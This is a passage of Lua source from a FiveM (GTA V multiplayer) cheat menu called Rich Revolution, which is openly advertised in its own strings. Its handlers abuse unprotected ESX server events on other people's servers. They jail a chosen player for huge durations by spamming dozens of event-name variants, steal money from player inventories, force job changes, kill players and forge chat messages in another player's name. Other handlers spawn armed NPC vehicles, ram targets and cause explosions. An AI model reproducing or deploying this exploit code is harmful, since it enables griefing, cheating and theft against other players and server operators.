  7890. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Options", "PlayerESXMenu") then
  7891. elseif RichRevolution.MenuButton("~g~→ ~s~Choose weapon", "SingleWepPlayer") then
  7892. Citizen.CreateThread(function()
  7893. asshat = true
  7894. local target = GetPlayerPed(SelectedPlayer)
  7895. local assped = nil
  7896. local vehlist = {'Nero', 'Deluxo', 'Raiden', 'Bati2', "SultanRS", "TA21", "Lynx", "ZR380", "Streiter", "Neon", "Italigto", "Nero2", "Fmj", "le7b", "prototipo", "cyclone", "khanjali", "STROMBERG", "BARRAGE", "COMET5"}
  7897. local veh = vehlist[math.random(#vehlist)]
  7898. local pos = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  7899. local pitch = GetEntityPitch(GetPlayerPed(SelectedPlayer))
  7900. local roll = GetEntityRoll(GetPlayerPed(SelectedPlayer))
  7901. local yaw = GetEntityRotation(GetPlayerPed(SelectedPlayer)).z
  7902. local xf = GetEntityForwardX(GetPlayerPed(SelectedPlayer))
  7903. local yf = GetEntityForwardY(GetPlayerPed(SelectedPlayer))
  7904. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), false) then
  7905. local vt = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), 0)
  7906. NetworkRequestControlOfEntity(vt)
  7907. SetVehicleModKit(vt, 0)
  7908. ToggleVehicleMod(vt, 20, 1)
  7909. SetVehicleModKit(vt, 0)
  7910. SetVehicleTyresCanBurst(vt, 1)
  7911. end
  7912. local v = nil
  7913. RequestModel(veh)
  7914. RequestModel('s_m_y_hwaycop_01')
  7915. while not HasModelLoaded(veh) and not HasModelLoaded('s_m_m_security_01') do
  7916. RequestModel('s_m_y_hwaycop_01')
  7917. Citizen.Wait(0)
  7918. RequestModel(veh)
  7919. end
  7920. if HasModelLoaded(veh) then
  7921. Citizen.Wait(50)
  7922. v =
  7923. CreateVehicle(
  7924. veh,
  7925. pos.x - (xf * 10),
  7926. pos.y - (yf * 10),
  7927. pos.z + 1,
  7928. GetEntityHeading(GetPlayerPed(-1)),
  7929. 1,
  7930. 1
  7931. )
  7932. v1 =
  7933. CreateVehicle(
  7934. veh,
  7935. pos.x - (xf * 10) + 2,
  7936. pos.y - (yf * 10) + 2,
  7937. pos.z + 1,
  7938. GetEntityHeading(GetPlayerPed(-1)),
  7939. 1,
  7940. 1
  7941. )
  7942. SetVehicleGravityAmount(v, 15.0)
  7943. SetVehicleGravityAmount(v1, 15.0)
  7944. SetEntityInvincible(v, true)
  7945. SetEntityInvincible(v1, true)
  7946. if DoesEntityExist(v) then
  7947. NetworkRequestControlOfEntity(v)
  7948. SetVehicleDoorsLocked(v, 4)
  7949. RequestModel('s_m_y_hwaycop_01')
  7950. Citizen.Wait(50)
  7951. if HasModelLoaded('s_m_y_hwaycop_01') then
  7952. Citizen.Wait(50)
  7953. local pas = CreatePed(21, GetHashKey('s_m_y_swat_01'), pos.x, pos.y, pos.z, true, false)
  7954. local pas1 = CreatePed(21, GetHashKey('s_m_y_swat_01'), pos.x, pos.y, pos.z, true, false)
  7955. local ped = CreatePed(21, GetHashKey('s_m_y_hwaycop_01'), pos.x, pos.y, pos.z, true, false)
  7956. local ped1 = CreatePed(21, GetHashKey('s_m_y_hwaycop_01'), pos.x, pos.y, pos.z, true, false)
  7957. assped = ped
  7958. if DoesEntityExist(ped1) and DoesEntityExist(ped) then
  7959. GiveWeaponToPed(pas, GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
  7960. GiveWeaponToPed(pas1, GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
  7961. GiveWeaponToPed(ped, GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
  7962. GiveWeaponToPed(ped1, GetHashKey('WEAPON_APPISTOL'), 9999, 1, 1)
  7963. SetPedIntoVehicle(ped, v, -1)
  7964. SetPedIntoVehicle(ped1, v1, -1)
  7965. SetPedIntoVehicle(pas, v, 0)
  7966. SetPedIntoVehicle(pas1, v1, 0)
  7967. TaskVehicleEscort(ped1, v1, target, -1, 50.0, 1082917029, 7.5, 0, -1)
  7968. asstarget = target
  7969. TaskVehicleEscort(ped, v, target, -1, 50.0, 1082917029, 7.5, 0, -1)
  7970. SetDriverAbility(ped, 10.0)
  7971. SetDriverAggressiveness(ped, 10.0)
  7972. SetDriverAbility(ped1, 10.0)
  7973. SetDriverAggressiveness(ped1, 10.0)
  7974. end
  7975. end
  7976. end
  7977. end
  7978. end)
  7979. SetEntityHealth(GetPlayerPed(SelectedPlayer), 0)
  7980. SetEntityHealth(GetPlayerPedId(SelectedPlayer), 0)
  7981. end
  7982.  
  7983. RichRevolution.Display()
  7984. elseif RichRevolution.IsMenuOpened("PlayerESXMenu") then
  7985. if RichRevolution.MenuButton("~r~→ ~s~ESX Triggers", "PlayerESXTriggerMenu") then
  7986. elseif RichRevolution.MenuButton("~r~→ ~s~ESX Jobs", "PlayerESXJobMenu") then
  7987. end
  7988.  
  7989. RichRevolution.Display()
  7990. elseif RichRevolution.IsMenuOpened("PlayerESXTriggerMenu") then
  7991. if RichRevolution.Button("ESX Revive") then
  7992. TriggerServerEvent("esx_ambulancejob:revive", GetPlayerServerId(SelectedPlayer))
  7993. TriggerServerEvent("esx_ambulancejob:revive",GetPlayerServerId(selectedPlayer),GetPlayerServerId(selectedPlayer))
  7994. TriggerServerEvent("whoapd:revive", GetPlayerServerId(SelectedPlayer))
  7995. TriggerServerEvent("paramedic:revive", GetPlayerServerId(SelectedPlayer))
  7996. TriggerServerEvent("ems:revive", GetPlayerServerId(SelectedPlayer))
  7997. local ax = GetPlayerPed(SelectedPlayer)
  7998. local bK = GetEntityCoords(ax)
  7999. TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
  8000. local dZ = {
  8001. x = ESX.Math.Round(bK.x, 1),
  8002. y = ESX.Math.Round(bK.y, 1),
  8003. z = ESX.Math.Round(bK.z, 1)
  8004. }
  8005. StopScreenEffect('DeathFailOut')
  8006. DoScreenFadeIn(800)
  8007. elseif RichRevolution.Button("Fire player from job (~g~ESX~s~)") then
  8008. FirePlayer(SelectedPlayer)
  8009. elseif RichRevolution.Button("ESX Give Money To Player From Your Wallet") then
  8010. local d = KeyboardInput("Enter amount of money to give","",100)
  8011. if d ~= "" then
  8012. TriggerServerEvent("esx:giveInventoryItem",GetPlayerServerId(selectedPlayer),"item_money","money",d)
  8013. end
  8014. elseif RichRevolution.Button("ESX Steal Money From Player") then
  8015. local d=KeyboardInput("Enter amount of money to steal","",100)
  8016. if d ~= "" then
  8017. TriggerServerEvent("esx:removeInventoryItem",GetPlayerServerId(selectedPlayer),"item_money","money",d)
  8018. end
  8019. elseif RichRevolution.Button("ESX Handcuff Player") then
  8020. TriggerServerEvent("esx_policejob:handcuff",GetPlayerServerId(selectedPlayer))
  8021. elseif RichRevolution.Button("ESX Send To Jail") then
  8022. TriggerServerEvent("esx-qalle-jail:jailPlayer99", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8023. TriggerServerEvent('ec49347f-474c-4b8e-a30d-9cc2476da5b3', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8024. TriggerServerEvent("esx-shit:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8025. TriggerServerEvent("esx-jailmisd:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8026. TriggerServerEvent("wrp-fkucunt:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8027. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8028. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 45 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8029. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8030. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8031. TriggerServerEvent("esx-qalle-jail:jailPlayer",GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8032. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8033. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8034. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8035. TriggerServerEvent("esx_jailer:*", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8036. TriggerServerEvent("esx_jailer:eloelo90", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8037. TriggerServerEvent("esx_jailer:wwiezienie", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8038. TriggerServerEvent("searp:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8039. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8040. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8041. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8042. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8043. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8044. TriggerServerEvent("esx_jailer:sendToJailtrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432, 'SenseiToUjJebanyWDupeCfelPierdolony1337Kurwo')
  8045. TriggerServerEvent("17A34C820A685513C5B4ADDD85968B9E905CC300A261EB55D299ABCB6C90AAA872712B3B6C13DC41913FCC2BE84A07EF9300DC4E89669A4B0E6FBB344A69D239", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8046. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8047. TriggerServerEvent("esx_jailer:fabianfudalijebanyprzyglup", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8048. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  8049. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8050. TriggerServerEvent('esx_jailer:wysylandoo', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8051. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  8052. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  8053. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8054. TriggerServerEvent("esx_jailer:jailhype", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8055. TriggerServerEvent("esx_jailer:sendToJial", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  8056. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  8057. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  8058. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  8059. TriggerServerEvent("hazerp:wyslijdopaki", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8060. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8061. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8062. TriggerServerEvent("esx_jailer:sendToJailjebacdisafrajerze", GetPlayerServerId(i), 300000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 500324532)
  8063. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8064. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8065. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8066. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8067. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 300)
  8068. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8069. TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8070. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8071. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8072. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8073. ESX.ShowNotification("~p~Rich Revolution ~r~ " .. GetPlayerServerId(i) .. "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8074. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8075. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8076. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8077. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8078. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8079. TriggerServerEvent("wysparp_tablet:SendMessage", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  8080. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8081. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8082. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8083. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8084. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8085. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8086. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8087. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8088. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  8089. TriggerServerEvent("esx_jaler:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  8090. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  8091. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  8092. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8093. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8094. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8095. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8096. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8097. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8098. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8099. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8100. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8101. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8102. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8103. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8104. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8105. TriggerServerEvent("esx_jailer:jail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8106. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8107. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8108. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8109. TriggerServerEvent("luki_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8110. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8111. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 99999 * 60)
  8112. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8113. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  8114. TriggerServerEvent("wiezieniejailer:sendToJail",3, GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1,2137)
  8115. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  8116. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8117. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8118. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8119. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8120. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8121. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8122. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8123. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8124. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8125. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8126. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  8127. TriggerServerEvent("esx_wiezienie:wyslijwiezienie", GetPlayerServerId(i), 9999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999)
  8128. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 100 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 999)
  8129. TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 60*1, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 111)
  8130. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  8131. elseif RichRevolution.Button("ESX Get Out Of Jail") then
  8132. local ped = selectedPlayer
  8133. TriggerServerEvent("esx-qalle-jail:jailPlayer",GetPlayerServerId(ped),0,"escaperino")
  8134. TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(ped),0)
  8135. TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(ped),0)
  8136. TriggerServerEvent("js:jailuser",GetPlayerServerId(ped),0,"escaperino")
  8137. end
  8138.  
  8139. RichRevolution.Display()
  8140. elseif RichRevolution.IsMenuOpened("PlayerESXJobMenu") then
  8141. if RichRevolution.Button("Unemployed") then
  8142. TriggerServerEvent("NB:destituerplayer",GetPlayerServerId(selectedPlayer))
  8143. elseif RichRevolution.Button("Police") then
  8144. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"police",3)
  8145. elseif RichRevolution.Button("Mechanic") then
  8146. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"mecano",3)
  8147. elseif RichRevolution.Button("Taxi") then
  8148. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"taxi",3)
  8149. elseif RichRevolution.Button("Ambulance") then
  8150. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"ambulance",3)
  8151. elseif RichRevolution.Button("Real Estate Agent") then
  8152. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"realestateagent",3)
  8153. elseif RichRevolution.Button("Car Dealer") then
  8154. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(selectedPlayer),"cardealer",3)
  8155. end
  8156.  
  8157.  
  8158. RichRevolution.Display()
  8159. elseif RichRevolution.IsMenuOpened("PlayerTrollMenu") then
  8160. if RichRevolution.Button ("Fake Chat Message") then
  8161. local cX=KeyboardInput("Enter message to send","",100)
  8162. local cY=GetPlayerName(selectedPlayer)
  8163. if cX then
  8164. TriggerServerEvent("_chat:messageEntered",cY,{0,0x99,255},cX)
  8165. end
  8166. elseif RichRevolution.Button("Ram w/ Custom Vehicle") then
  8167. local cPs = KeyboardInput('Are you sure you want to ram the player? y/n', '', 0)
  8168. if cPs == 'y' then
  8169. local ModelName1 = KeyboardInput("Enter Vehicle Name", "", 100)
  8170. if ModelName1 and IsModelValid(ModelName1) and IsModelAVehicle(ModelName1) then
  8171. local model = GetHashKey(ModelName1)
  8172. RequestModel(model)
  8173. while not HasModelLoaded(model) do
  8174. Citizen.Wait(0)
  8175. end
  8176. local offset = GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
  8177. if HasModelLoaded(model) then
  8178. local veh = CreateVehicle(model, offset.x, offset.y, offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
  8179. SetVehicleForwardSpeed(veh, 120.0)
  8180. end
  8181. else
  8182. drawNotification("~r~Model Isn't Valid You Tard")
  8183. end
  8184. elseif cPs == 'n' then
  8185. drawNotification(
  8186. '~h~~r~Operation cancelled~s~.'
  8187. )
  8188. else
  8189. drawNotification(
  8190. '~h~~r~Invalid Confirmation~s~.'
  8191. )
  8192. drawNotification(
  8193. '~h~~r~Operation cancelled~s~.'
  8194. )
  8195. end
  8196. elseif RichRevolution.Button('~y~Explode ~s~Vehicle') then
  8197. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
  8198. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
  8199. else
  8200. av('~h~~b~Player not in a vehicle~s~.', false)
  8201. end
  8202. elseif RichRevolution.Button('~r~Banana ~p~Party') then
  8203. local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
  8204. local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
  8205. local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
  8206. AttachEntityToEntity(
  8207. bH,
  8208. GetPlayerPed(SelectedPlayer),
  8209. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8210. 0.4,
  8211. 0,
  8212. 0,
  8213. 0,
  8214. 270.0,
  8215. 60.0,
  8216. true,
  8217. true,
  8218. false,
  8219. true,
  8220. 1,
